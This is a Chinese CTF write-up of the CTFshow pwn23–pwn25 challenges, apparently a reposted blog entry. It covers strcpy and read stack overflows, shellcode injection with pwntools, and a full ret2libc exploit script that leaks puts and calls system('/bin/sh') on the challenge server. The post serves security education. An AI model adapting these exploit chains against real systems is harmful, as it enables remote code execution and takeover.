CTFshow-pwn入门-前置基础pwn23-pwn25

news2024/11/29 13:40:11

pwn23-25的题目会涉及到ret2shellcode、ret2libc等内容,本篇文章只会侧重研究这几道题目的wp,不会过多涉及到ret2shellcode、ret2libc的基本原理,等有时间再来写关于ret2libc、ret2shellcode…的相关内容。大家可以参考CTFwiki的文章去慢慢学习。

CTFwiki:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2libc

pwn23

在这里插入图片描述
首先我们还是将pwn文件下载下来拖入虚拟机加上可执行权限,然后使用checksec命令查看文件的信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
32位的,直接拉进ida反编译。

// main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __gid_t v3; // eax
  int v5; // [esp-Ch] [ebp-2Ch]
  int v6; // [esp-8h] [ebp-28h]
  int v7; // [esp-4h] [ebp-24h]
  FILE *stream; // [esp+4h] [ebp-1Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(flag, 64, stream);
  signal(11, (__sighandler_t)sigsegv_handler);
  v3 = getegid();
  setresgid(v3, v3, v3, v5, v6, v7, v3);
  puts(asc_8048940);
  puts(asc_80489B4);
  puts(asc_8048A30);
  puts(asc_8048ABC);
  puts(asc_8048B4C);
  puts(asc_8048BD0);
  puts(asc_8048C64);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Linux_Security_Mechanisms                               ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : No canary found                                         ");
  puts("    * *************************************                           ");
  puts("How to input ?");
  if ( argc > 1 )
    ctfshow((char *)argv[1]);
  return 0;
}
//ctfshow
char *__cdecl ctfshow(char *src)
{
  char dest[58]; // [esp+Ah] [ebp-3Eh] BYREF

  return strcpy(dest, src);
}

代码的大致逻辑就是先本地读取/ctfshow_flag文件,然后打印一段信息,判断我们输入的参数是否大于1,如果大于1进入ctfshow()函数并且将我们输入的第一个参数作为ctfshow函数的参数,ctfshow函数接收一个src参数将其值赋给dest。这就大概的代码逻辑。那我们如何拿到flag呢?

我们首先要知道ctfshow函数用到了strcpy()函数,而这个函数是可以发生溢出的!并且src就是我们输入的参数,使我们可控的,并且他没有被限制长度,代表我们可以利用溢出漏洞!

我们先使用ssh连接服务器。
在这里插入图片描述
我们进来之后,也就是直接给了我们shell,但是我们被限制不能读取/ctfshow_flag文件,所以我们还得依靠pwn文件来读取,这个pwnme就是我们下载的pwn文件。

我们的思路是溢出,那么我们载运行该文件是输入参数是我们就要尽可能的输入更多的字符串以让程序发生溢出。
在这里插入图片描述
可以看到,我输入了许多的a字符,致使程序溢出,然后程序就为我们输出了flag!

pwn24

在这里插入图片描述
我们首先是下载pwn文件,然后给它加上可执行权限,使用checksec命令查看文件信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
32位的直接拖进ida反编译。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0, 1, 0);
  setvbuf(stdout, 0, 2, 0);
  puts(asc_80486E0);
  puts(asc_8048754);
  puts(asc_80487D0);
  puts(asc_804885C);
  puts(asc_80488EC);
  puts(asc_8048970);
  puts(asc_8048A04);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Linux_Security_Mechanisms                               ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : NX disabled & Has RWX segments                          ");
  puts("    * *************************************                           ");
  ctfshow(&argc);
  return 0;
}

可能是我ida的问题,这里ctfshow()函数,反编译不出来,所以只能看汇编代码凑合了。

0x080484c6 <+0>:	push   ebp
   0x080484c7 <+1>:	mov    ebp,esp
   0x080484c9 <+3>:	push   ebx
   0x080484ca <+4>:	sub    esp,0x84
   0x080484d0 <+10>:	call   0x8048400 <__x86.get_pc_thunk.bx>
   0x080484d5 <+15>:	add    ebx,0x1b2b
   0x080484db <+21>:	sub    esp,0x4
   0x080484de <+24>:	push   0x100
   0x080484e3 <+29>:	lea    eax,[ebp-0x88]
   0x080484e9 <+35>:	push   eax
   0x080484ea <+36>:	push   0x0
   0x080484ec <+38>:	call   0x8048360 <read@plt>
   0x080484f1 <+43>:	add    esp,0x10
   0x080484f4 <+46>:	sub    esp,0xc
   0x080484f7 <+49>:	lea    eax,[ebp-0x88]
   0x080484fd <+55>:	push   eax
   0x080484fe <+56>:	call   0x8048370 <puts@plt>
   0x08048503 <+61>:	add    esp,0x10
   0x08048506 <+64>:	lea    eax,[ebp-0x88]
   0x0804850c <+70>:	call   eax
   0x0804850e <+72>:	nop
   0x0804850f <+73>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x08048512 <+76>:	leave  
   0x08048513 <+77>:	ret 

在这里插入图片描述
分析知道,pwn文件的NX是关掉的,代表栈可执行。

而开始我们将栈中地址ebp-0x88赋给eax,并在该地址里写入我们输入的东西,最后程序会执行这里边的东西,也就是会执行我们写入的东西,如果我们写入的是shellcode,那么程序也就会执行我们的shellcode!

并且,该题目也提示我们使用pwntools的shellcraft模块来进行攻击,这部赤裸裸的诱惑嘛!

开始编写exp:

from pwn import *

# 与目标服务器的pwn文件建立进程
p = remote("pwn.challenge.ctf.show", "28178") 

# 使用shellcraft模块生成shellcode
shell = asm(shellcraft.sh()) 
# 向远程发送数据(我们的shellcode)
p.sendline(shell)
# 建立交互式对话
p.interactive()

在这里插入图片描述
在这里插入图片描述
成功拿到flag。

pwn25

在这里插入图片描述
直接说NX开启,让我们使用ret2libc,那我们就听他们的,用ret2libc吧!

首先将文件下载托到虚拟机加上可执行权限,然后使用checksec查看文件信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
32位的,直接拖进ida反编译!

// main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0, 1, 0);
  setvbuf(stdout, 0, 2, 0);
  ctfshow(&argc);
  logo();
  write(0, "Hello CTFshow!\n", 0xEu);
  return 0;
}
// ctfshow
ssize_t ctfshow()
{
  char buf[132]; // [esp+0h] [ebp-88h] BYREF

  return read(0, buf, 0x100u);
}

大概的代码逻辑呢,就是先通过ctfshow()函数,读入我们输入的字符串,注意看大家,读入的buf是132个长度,而read()函数限制我们读入的长度位0x100,也就是256个长度。代表肯定会溢出,这个地方就是利用点。执行完ctfshow()就会输出一些其他无关紧要的东西了。

OK,既然要ret2libc,我们就ret2libc hhhhh!

我们首先看一下plt表中的函数:

objdump -d -j .plt pwn

在这里插入图片描述
我们看到plt表中含有puts函数跟write函数,那got表中也一定有他俩,那我们就使用puts函数来输出函数的内存地址吧!

exp如下:

# 导入相关的库
from pwn import *
from LibcSearcher import *

# 打印调试信息
context.log_level = 'debug'

# 建立连接
p = remote("pwn.challenge.ctf.show", "28121")
elf = ELF("./pwn")

# 溢出偏移地址
offset = 0x88 + 0x4
# main函数地址
main_addr = elf.symbols['main']
# plt表中puts函数地址
puts_plt = elf.plt['puts']
# got表中puts函数的地址
puts_got = elf.got['puts']

# payload:0x88+0x4个无用填充字符覆盖到返回地址,
# 将puts函数plt表地址做返回地址,代表ctfshow函数执行完会执行puts函数,
# main_addr是puts函数执行完后的返回地址,使用puts函数执行完后回到main函数继续利用溢出漏洞
# puts函数got表中的地址作为puts函数执行的参数,让puts函数输出puts函数在内存的地址
payload = offset * 'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
# 发送payload
p.sendline(payload)
# 接收puts函数输出的puts函数在内存的地址
puts_addr = u32(p.recv()[0:4])
print hex(puts_addr)

# 在根据内存中puts函数的地址寻找相应的libc版本中puts函数的地址
libc = LibcSearcher("puts",puts_addr)
# 找到libc中的puts函数地址之后,将内存的puts函数地址减去libc中的puts函数地址就得到了libc的基地址
libc_base = puts_addr - libc.dump("puts")
print hex(libc_base)
# 使用libc.dump("system")找到libc中的system函数地址,再加上基地址就得到system函数在内存的地址
system_addr = libc_base + libc.dump("system")
# 使用libc.dump("str_bin_sh")找到libc中的"/bin/sh"字符串地址,再加上基地址就得到"/bin/sh"字符串在内存的地址
binsh_addr = libc_base + libc.dump("str_bin_sh")
# payload:填充栈空间到返回地址,将返回地址覆盖为system函数的地址
# 然后填充执行system函数之后的返回地址,填充什么都可以,但是长度必须为4
# 最后填入system的参数“/bin/sh”
payload = offset * 'a' + p32(system_addr) + 'a' * 4 + p32(binsh_addr)
p.sendline(payload)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
成功拿到flag!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/663924.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

FPGA_数码管显示UART串口接收的数据

实验目标&#xff1a;通过电脑调试助手向FPGA的UART串口接收模块发送数据&#xff0c;然后数据可以稳定显示在数码管上。 实验目的: 练习UART串口模块和数码管的使用。之前已经有文章详细讲解了串口和数码管的开发&#xff0c;故这里直接提供设计思路供大家参考。 &#xff08…

求解矩阵行列式因子、不变因子、初等因子、Jordan标准形

首先&#xff0c;我们先来简要了解一下行列式因子、不变因子和初等因子的概念。 下面举例说明。 例1 首先&#xff0c;我们要求 λ I − A λI-A λI−A 然后&#xff0c;我们先求行列式因子。 D 2 ( λ ) D_2(λ) D2​(λ)的求法如下&#xff1a; 然后&#xff0c;我们再求…

015、数据库管理之用户和权限

用户和权限 认证与赋权连接过程本地连接远程连接查看用户信息创建用户账号创建角色管理用户账户管理角色设置账号密码忘记root密码实验1-用户和角色实验2-授权注意事项 认证与赋权 认证&#xff1a;对用户进行验证 是权限控制的第一步当用户第一次连接数据库时必须进行认证如果…

【Git】TortoiseGit(小乌龟)配置SSH和使用

目录 1、TortoiseGit&#xff08;小乌龟&#xff09;配置SSH 1.1、右击打开Git命令窗口 1.2、设置Git的全局name和email 1.3、查看是全局名字和邮箱是否设置成功 1.4、生成 sshkey秘钥 2、TortoiseGit&#xff08;小乌龟&#xff09;的使用 2.1、创建本地仓库 2.2、添加…

企业会计软件必备!深入了解为何选择会计软件以及其带来的好处

随着科技的发展&#xff0c;企业需要更加智能化和数字化的财务管理方式&#xff0c;因此会计软件是现代社会的必然产物&#xff0c;会计软件可以帮助企业更有效地进行财务管理。 企业为什么需要会计软件&#xff1f; 提高准确度 通过传统的手工操作财务记录&#xff0c;会有很…

Qt6.2教程——2.介绍 Qt 中的 QWidgets、QMainWindow 和 QDialog

详细介绍 Qt 中的 QWidgets、QMainWindow 和 QDialog Qt 是一个广受欢迎的跨平台 C GUI 库。在 Qt 中&#xff0c;创建图形用户界面的基本单元是 Widget。本文将详细介绍三个重要的 Widget 类&#xff1a;QWidget, QMainWindow 和 QDialog&#xff0c;并比较它们的特点和用途。…

设计模式之原型模式笔记

设计模式之原型模式笔记 说明Prototype(原型)目录UML原型模式示例类图RealizeType类(浅克隆)测试类 原型模式案例奖状类测试类 扩展(深克隆)学生类奖状类测试类 说明 记录下学习设计模式-原型模式的写法。 Prototype(原型) 意图:用原型实例指定创建对象的种类&#xff0c;并…

Spring之IOC容器从入门都手写源码

文章目录 一、IOC容器1、控制反转&#xff08;ioc&#xff09;2、依赖注入3、IoC容器在Spring的实现 二、基于XML管理Bean1、获取bean方式一、根据id获取方式二、根据类型获取方式三、根据id和类型获取bean 2、依赖注入之setter注入3、依赖注入之构造器注入4、特殊值处理5、为对…

基于llama模型进行增量预训练

目录 1、llama模型转换(pytorch格式转换为HuggingFace格式) 1.1、拉取Chinese-LLaMA-Alpaca项目 1.2、准备文件夹 1.3、下载llama官方原始模型 1.4、移动文件到指定位置 1.5、执行转换脚本 2、合并模型 2.1、下载Chinese-LLaMA-Plus-7B模型 2.2、下载chinese_alpaca_p…

【Leetcode60天带刷】day16二叉树—— 104.二叉树的最大深度 , 111.二叉树的最小深度,222.完全二叉树的节点个数

题目&#xff1a; 104. 二叉树的最大深度 给定一个二叉树&#xff0c;找出其最大深度。 二叉树的深度为根节点到最远叶子节点的最长路径上的节点数。 说明: 叶子节点是指没有子节点的节点。 示例&#xff1a; 给定二叉树 [3,9,20,null,null,15,7]&#xff0c; 3/ \9 20/ …

数字电路基础---寄存器

目录 数字电路基础---寄存器 1、寄存器简介 1.1、寄存器是如何工作的 2、实验任务 3、程序设计 3.1、模块设计 3.2、绘制波形图 4、编写代码 5、仿真验证 5.1、编写 TB 文件 5.2、仿真验证 6、总结 7、拓展训练 数字电路基础---寄存器 寄存器是构成时序逻辑最重要…

理解安卓的视图体系结构

原文链接 理解安卓的视图体系结构 当我们想要写一个页面的时候&#xff0c;通过一个Activity&#xff0c;然后调用其setContentView方法&#xff0c;把一个布局文件当作一个参数传递过去&#xff0c;然后一个页面就好了&#xff0c;但是除此之外&#xff0c;我们还需要与一些组…

【MySql】MySql索引的作用索引的理解

【MySql】MySql索引的作用&&索引的理解 文章目录 索引的作用认识磁盘MySql 与磁盘交互基本单位Page共识索引的理解主键有序问题理解单个Page理解多个Page页目录单页情况多页情况 索引的作用 索引是与效率挂钩的&#xff0c;所以没有索引&#xff0c;可能会存在问题 索…

从0到1搭建属于自己的Gitlab CI/CD平台

文章目录 持续集成(CI)持续交付(CD)Gitlab CI/CD功能和架构本地搭建GitLab CI/CD平台 MCNU云原生&#xff0c;文章首发地&#xff0c;欢迎微信搜索关注&#xff0c;更多干货&#xff0c;第一时间掌握&#xff01; CI和CD是软件开发中常用的缩写&#xff0c;分别代表持续集成&am…

【Unity】 HTFramework框架(四十五)【进阶篇】指令系统-自定义指令

更新日期&#xff1a;2023年6月19日。 Github源码&#xff1a;[点我获取源码] Gitee源码&#xff1a;[点我获取源码] 索引 指令系统1.使用指令系统2.自定义指令1.新建类 MyInstruction2.标记 CustomInstruction 特性3.编写指令的逻辑4.执行自定义指令5.自定义指令的参数6.结尾 …

C进阶 - 数组和指针

Declare an array manually VS malloc or calloc an array 用英文是因为有些东西得用他们的语言才能表达不失真 栈和堆 In C, a heap is a region of memory that is dynamically allocated during runtime. It is used to store variables and data structures that have a …

学习HCIP的day.14

目录 STP生成树协议 生成树协议 一、802.1D 1、根网桥 2、根端口 3、指定端口 4、非指定端口 5、接口状态 802.1D的收敛时间 802.1D算法的缺点 以上cost值的解释 二、PVST 三、PVST 四、快速生成树 五、MSTP/MST/802.1S STP生成树协议 网络三层架构…

南京企业所得税高怎么办?

南京企业所得税高怎么办&#xff1f; 《税筹顾问》专注于园区招商&#xff0c;您的贴身节税小能手&#xff0c;合理合规节税&#xff01; 众所周知&#xff0c;企业所得税是按利润来计算的&#xff0c;按照不同的利润阶梯计算适用的税率也会有所不同&#xff0c;那么当企业利润…

launch文件的编写及ROS配置文件的详细介绍

launch文件的编写及ROS配置文件的详细介绍 1 launch文件介绍及简单应用1.1 launch文件介绍1.2 launch文件简单应用 2 package.xml文件介绍及配置3 CMakeLists.txt文件介绍及配置 1 launch文件介绍及简单应用 1.1 launch文件介绍 根据ROS的架构和通信机制来看&#xff0c;ROS的…

讯飞星火大模型详细内测体验:它能否应对这些挑战?

名人说&#xff1a;一花独放不是春&#xff0c;百花齐放花满园。——《增广贤文》 作者&#xff1a;Code_流苏(CSDN)&#xff08;一个喜欢古诗词和编程的Coder&#x1f60a;&#xff09; 目录 一、简要介绍二、分类问题测试0️⃣自我介绍1️⃣语言理解2️⃣知识问答3️⃣逻辑推…